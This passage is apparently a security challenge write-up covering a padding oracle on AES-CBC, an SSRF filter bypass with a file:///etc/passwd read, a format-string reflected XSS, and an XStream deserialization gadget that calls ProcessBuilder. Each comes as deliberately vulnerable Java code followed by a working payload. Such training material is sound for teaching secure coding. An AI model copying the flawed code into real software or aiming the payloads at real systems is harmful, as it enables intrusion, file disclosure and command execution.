public void decrypt(HttpServletResponse req, HttpServletResponse res) throws IOException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, NoSuchPaddingException, DecoderException, InvalidKeySpecException {
// Payload to decrypt: 699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4
byte[] cipher = Hex.decodeHex(req.getParameter("c"));
byte[] salt = new byte[]{(byte)0x12,(byte)0x34,(byte)0x56,(byte)0x78,(byte)0x9a,(byte)0xbc,(byte)0xde};
// Extract IV.
byte[] iv = new byte[16];
System.arraycopy(cipher, 0, iv, 0, iv.length);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
byte[] encryptedBytes = new byte[cipher.length - 16];
System.arraycopy(cipher, 16, encryptedBytes, 0, cipher.length - 16);
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
// Of course the password is not known by the attacker - just for testing purposes
KeySpec spec = new PBEKeySpec("SuperSecurePassword".toCharArray(), salt, 65536, 128);
SecretKey key = factory.generateSecret(spec);
SecretKeySpec secretKeySpec = new SecretKeySpec(key.getEncoded(), "AES");
// Decrypt.
try {
Cipher cipherDecrypt = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] decrypted = cipherDecrypt.doFinal(encryptedBytes);
// Do something.
} catch (BadPaddingException e) {
res.getWriter().println("Invalid Padding!!");
}
}
}
- The
decrypt
method attempts to decrypt user-provided hex-encoded ciphertext using an insecure AES algorithm (line 27). - The attacker knows the encrypted ciphertext (line 10) but not the encryption key.
- Since the ciphertext lacks Message Authentication Code (MAC) or signature protection, the attacker can manipulate the Initialization Vector (IV, first 16 bytes of ciphertext).
- This manipulation exploits CBC mode malleability to trigger a BadPaddingException.
- By leveraging a Padding Oracle attack, the attacker can decrypt the ciphertext without the key.
- This attack might require up to 16 * 256 requests to decrypt a single block.
- For more information on Padding Oracle attacks, refer to: https://www.owasp.org/images/e/eb/Fun_with_Padding_Oracles.pdf.
Challenge 22 - Fruitcake
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.io.IOUtils;
import java.net.*;
import javax.servlet.http.*;
public class ReadExternalUrl extends HttpServlet {
private static URLConnection getUrl(String target) {
try{
// Don't allow redirects:
HttpURLConnection.setFollowRedirects(false);
URL url = new URL(target);
if(!url.getProtocol().startsWith("http"))
throw new Exception("Must start with http!.");
InetAddress inetAddress = InetAddress.getByName(url.getHost());
if (inetAddress.isAnyLocalAddress() || inetAddress.isLoopbackAddress() || inetAddress.isLinkLocalAddress())
throw new Exception("No local urls allowed!");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
return conn;
}
catch (Exception e) {
return null;
}
}
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
try{
URLConnection conn = getUrl(request.getParameter("url"));
conn.connect();
String redirect = conn.getHeaderField("Location");
if(redirect != null) {
URL url = new URL(redirect);
if(redirect.indexOf("http://") == -1) {
throw new Exception("No http found!");
}
if(getUrl(redirect.substring(redirect.indexOf("http://"))) != null) {
conn = url.openConnection();
conn.connect();
}
}
// Output content of url
IOUtils.copy(conn.getInputStream(),response.getOutputStream());
}
catch (Exception e) {
System.exit(-1);
}
}
}
- The code retrieves a URL using the
getUrl
method (line 31). - Initial checks ensure the URL starts with “http” (line 13) and is a valid external URL (line 17).
- Redirects are also disabled (line 10).
- However, the code allows a single redirect via the “Location” header (lines 33-43).
- An attacker can control the URL parameter and inject a malicious “Location” header.
- A simple payload like
victim.org?url=http://evil.com/
can bypass the second check (line 39) due to incomplete validation. - The check only examines the content after “http” (e.g., “google.com” in this case).
- Though intended to fetch “https://localhost/”, the request ends up at “https://localhost/?x=http://google.com” (line 40/41).
- The response body is printed (line 45), demonstrating a classic SSRF vulnerability.
- But there’s more! The attacker can also exploit this as a File Read vulnerability.
- By injecting
Location: file:///etc/passwd#http://google.com
, the code attempts to read the local “/etc/passwd” file, potentially leaking sensitive information.
Challenge 23 - Ivy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javax.servlet.http.*;
import java.io.*;
import java.text.*;
import java.util.*;
import org.apache.commons.lang3.StringEscapeUtils;
public class ShowCalendar extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
response.setContentType("text/html");
GregorianCalendar calendar = new GregorianCalendar();
SimpleTimeZone x = new SimpleTimeZone(0, request.getParameter("id"));
SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
calendar.setTime(parser.parse(request.getParameter("current_time")));
calendar.setTimeZone(x);
Formatter formatter = new Formatter();
String name = StringEscapeUtils.escapeHtml4(request.getParameter("name"));
formatter.format("Name of your calendar: " + name + " and your current date is: %1$te.%1$tm.%1$tY", calendar);
PrintWriter pw = response.getWriter();
pw.print(formatter.toString());
} catch(ParseException e) {
response.sendRedirect("/");
}
}
}
- This code is vulnerable to Reflective XSS due to a format string injection.
- User input for
name
is sanitized against XSS in line 17. - However, the sanitized
name
is then concatenated into a format string in line 18. - Since
calendar
is an object, various format specifiers can be used. - The user can inject format specifiers without causing errors.
- The format specifier
%s
callstoString()
on elements within theCalendar
object. - In line 12, a
SimpleTimeZone
object is created with user-controlledid
. - This
SimpleTimeZone
object is added to theCalendar
object in line 15. - An attacker can inject an XSS payload into
name
using the format specifier%s
. - The payload is then included in the formatted string printed in line 20.
- This results in a Reflective XSS vulnerability where the injected script is executed through reflection.
Example payload:
1
http://victim.org/?id=<script>alert(1)</script>¤t_time=Thu Jun 18 20:56:02 EDT 2009&name=%shello
Challenge 24 - Nutcracker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.rips.demo.web;
import java.io.*;
import java.lang.reflect.*;
class Invoker implements Serializable {
private String c;
private String m;
private String[] a;
public Invoker(String c, String m, String[] a) {
this.c = c;
this.m = m;
this.a = a;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
ois.defaultReadObject();
Class clazz = Class.forName(this.c);
Object obj = clazz.getConstructor(String[].class).newInstance(new Object[]{this.a});
Method meth = clazz.getMethod(this.m);
meth.invoke(obj, null);
}
}
class User implements Serializable {
private String name;
private String email;
transient private String password;
public User(String name, String email, String password) {
this.name = name;
this.email = email;
this.password = password;
}
private void readObject(ObjectInputStream stream)
throws IOException, ClassNotFoundException {
stream.defaultReadObject();
password = (String) stream.readObject();
}
@Override
public String toString() {
return "User{" + "name='" + name + ", email='" + email + "'}";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RequestMapping(value = "/unserialize", consumes = "text/xml")
public void unserialize(@RequestBody String xml, HttpServletResponse res) throws IOException, ParserConfigurationException, SAXException, XPathExpressionException, TransformerException {
res.setContentType("text/plain");
// Parse xml string
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
Document xmlDocument = builder.parse(new InputSource(new StringReader(xml)));
XPath xPath = XPathFactory.newInstance().newXPath();
String expression = "//com.rips.demo.web.User[@serialization='custom'][1]";
//only allow User objects to be unserialized!!!
NodeList nodeList = (NodeList) xPath.compile(expression).evaluate(xmlDocument, XPathConstants.NODESET);
// Transform node back to xml string
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
StringWriter writer = new StringWriter();
transformer.transform(new DOMSource(nodeList.item(0)), new StreamResult(writer));
String xmloutput = writer.getBuffer().toString();
// Unserialze User
User user = (User) new XStream().fromXML(xmloutput);
res.getWriter().print("Successfully unserialized "+user.toString());
}
- This code is vulnerable to Object Injection due to insecure deserialization.
- User input arrives through the
@RequestBody
annotation (Spring framework) and is mapped toxml
in line 2. - The input is parsed into a DOM document (line 8).
- An XPath expression filters for
com.rips.demo.web.User
nodes with theserialization='custom'
attribute (lines 10-12). - The filtered node is then serialized back to a string (line 17) and deserialized (line 20).
- Both relevant classes implement
Serializable
and override default deserialization (lines 18-24, 38-42). - While deserialization reads non-transient fields, the
password
field is manually read later (line 41). - This allows hiding another object within the User object, bypassing the filter.
- The vulnerability is exploited in the
readObject
method of theInvoker
class (line 19). - This method allows creating an arbitrary object and invoking its methods.
- An attacker can craft a payload to create a
ProcessBuilder
object and execute commands (lines shown).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<com.rips.demo.web.User serialization="custom">
<com.rips.demo.web.User>
<default>
<email>peter@gmail.com</email>
<name>Peter</name>
</default>
<com.rips.demo.web.Invoker serialization="custom">
<com.rips.demo.web.Invoker>
<default>
<a>
<string>touch</string>
<string>abc</string>
</a>
<c>java.lang.ProcessBuilder</c>
<m>start</m>
</default>
</com.rips.demo.web.Invoker>
</com.rips.demo.web.Invoker>
</com.rips.demo.web.User>
</com.rips.demo.web.User>